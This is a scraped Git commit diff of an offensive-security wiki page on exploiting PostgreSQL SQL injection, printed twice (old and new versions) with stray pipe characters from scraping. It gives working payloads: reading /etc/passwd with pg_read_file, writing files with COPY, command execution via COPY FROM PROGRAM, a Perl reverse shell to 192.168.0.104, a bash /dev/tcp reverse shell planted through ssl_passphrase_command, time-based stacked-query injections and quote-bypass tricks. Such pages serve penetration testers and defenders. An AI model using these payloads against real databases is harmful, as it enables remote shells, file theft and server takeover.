Remove upper limit of 11.2 as its not correct.
I have confirmed on a fresh install of `PostgreSQL 13.2 on x86_64-alpine-linux-musl, compiled by gcc (Alpine 10.2.1_pre1) 10.2.1 20201203, 64-bit` that it still works.
This commit is contained in:
Karim Kanso
GitHub
parent
d0b9dcad7a
commit
6a74294c3b
@ -1,149 +1,149 @@
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# PostgreSQL injection
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**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)\*\*\*\*
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## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
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**`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.
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**These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.
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[**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)\*\*\*\*
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### **Exfiltration example using dblink and large objects**
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You can [**read this example**](dblink-lo_import-data-exfiltration.md) ****to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
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## PL/pgSQL password bruteforce
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PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.
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**You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md)\*\*\*\*
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## File-system actions
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### Read directories and files
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From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path \(check out `convert_and_check_filename` in `genfile.c`\).:
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```sql
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select * from pg_ls_dir('/tmp');
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select * from pg_read_file('/etc/passwd' , 0 , 1000000);
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```
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### Simple File Writing
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```bash
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copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
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```
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Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.
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A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
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### **Binary files upload**
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However, there are **other techniques to upload big binary files**.
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[**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)\*\*\*\*
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## RCE
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### CVE-2019–9193 **RCE from version 9.3 to 11.2**
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Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands.
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```bash
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#PoC
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DROP TABLE IF EXISTS cmd_exec;
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CREATE TABLE cmd_exec(cmd_output text);
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COPY cmd_exec FROM PROGRAM 'id';
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SELECT * FROM cmd_exec;
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DROP TABLE IF EXISTS cmd_exec;
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#Reverse shell
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#Notice that in order to scape a single quote you need to put 2 single quotes
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COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
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```
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Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.
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More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5).
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### RCE with PostgreSQL extensions
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Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.
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[**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md)\*\*\*\*
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### PostgreSQL configuration file RCE
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The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.**
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The configuration file have some interesting attributes that can lead to RCE:
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* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
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* `ssl_passphrase_command = ''` If the private file is protected by password \(encrypted\) postgresql will **execute the command indicated in this attribute**.
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* `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**.
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Then, an attacker will need to:
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1. **Dump private key** from the server
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2. **Encrypt** downloaded private key:
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1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
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3. **Overwrite**
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4. **Dump** the current postgresql **configuration**
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5. **Overwrite** the **configuration** with the mentioned attributes configuration:
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1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
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2. `ssl_passphrase_command_supports_reload = on`
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6. Execute `pg_reload_conf()`
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While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** \(so the postgres user can read it\), and is placed in _/var/lib/postgresql/12/main_.
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**More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
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## WAF bypass
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### PostgreSQL String functions
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Manipulating strings could help you to **bypass WAFs or other restrictions**.
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[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
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### Stacked Queries
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Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
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```text
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id=1; select pg_sleep(10);-- -
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1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
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```
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### XML tricks
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#### query\_to\_xml
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This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
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```sql
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SELECT query_to_xml('select * from pg_user',true,true,'');
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```
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#### database\_to\_xml
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This function will dump the whole database in XML format in just 1 row \(be careful if the database is very big as you may DoS it or even your own client\):
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```sql
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SELECT database_to_xml(true,true,'');
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```
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### Forbidden quotes
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If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses \(_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_\):
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```text
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# PostgreSQL injection
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**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)\*\*\*\*
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## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
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**`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.
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**These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.
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[**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)\*\*\*\*
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|
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### **Exfiltration example using dblink and large objects**
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|
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You can [**read this example**](dblink-lo_import-data-exfiltration.md) ****to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
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## PL/pgSQL password bruteforce
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PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.
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**You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md)\*\*\*\*
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## File-system actions
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### Read directories and files
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From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path \(check out `convert_and_check_filename` in `genfile.c`\).:
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```sql
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select * from pg_ls_dir('/tmp');
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select * from pg_read_file('/etc/passwd' , 0 , 1000000);
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```
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### Simple File Writing
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```bash
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copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
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```
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Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.
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A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
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|
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### **Binary files upload**
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However, there are **other techniques to upload big binary files**.
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[**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)\*\*\*\*
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|
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## RCE
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### **RCE from version 9.3**
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Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands.
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```bash
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#PoC
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DROP TABLE IF EXISTS cmd_exec;
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CREATE TABLE cmd_exec(cmd_output text);
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COPY cmd_exec FROM PROGRAM 'id';
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SELECT * FROM cmd_exec;
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DROP TABLE IF EXISTS cmd_exec;
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#Reverse shell
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#Notice that in order to scape a single quote you need to put 2 single quotes
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COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
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```
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Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.
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More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
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### RCE with PostgreSQL extensions
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Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.
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[**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md)\*\*\*\*
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### PostgreSQL configuration file RCE
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The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.**
|
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The configuration file have some interesting attributes that can lead to RCE:
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* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
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* `ssl_passphrase_command = ''` If the private file is protected by password \(encrypted\) postgresql will **execute the command indicated in this attribute**.
|
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* `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**.
|
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|
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Then, an attacker will need to:
|
||||
|
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1. **Dump private key** from the server
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||||
2. **Encrypt** downloaded private key:
|
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1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Overwrite**
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4. **Dump** the current postgresql **configuration**
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5. **Overwrite** the **configuration** with the mentioned attributes configuration:
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1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
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2. `ssl_passphrase_command_supports_reload = on`
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6. Execute `pg_reload_conf()`
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|
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While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** \(so the postgres user can read it\), and is placed in _/var/lib/postgresql/12/main_.
|
||||
|
||||
**More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
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||||
|
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## WAF bypass
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||||
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||||
### PostgreSQL String functions
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||||
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||||
Manipulating strings could help you to **bypass WAFs or other restrictions**.
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||||
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
|
||||
|
||||
### Stacked Queries
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|
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Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
|
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|
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```text
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id=1; select pg_sleep(10);-- -
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1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
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```
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|
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### XML tricks
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#### query\_to\_xml
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This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
|
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|
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```sql
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SELECT query_to_xml('select * from pg_user',true,true,'');
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```
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#### database\_to\_xml
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This function will dump the whole database in XML format in just 1 row \(be careful if the database is very big as you may DoS it or even your own client\):
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```sql
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SELECT database_to_xml(true,true,'');
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```
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### Forbidden quotes
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If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses \(_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_\):
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```text
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SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
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```
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Or with `$`. This queries return the same results:
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```text
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SELECT 'hacktricks';
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SELECT $$hacktricks$$;
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SELECT $TAG$hacktricks$TAG$;
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```
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```
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Or with `$`. This queries return the same results:
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```text
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SELECT 'hacktricks';
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SELECT $$hacktricks$$;
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SELECT $TAG$hacktricks$TAG$;
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```
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||||
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||||
Loading…
Reference in New Issue
Block a user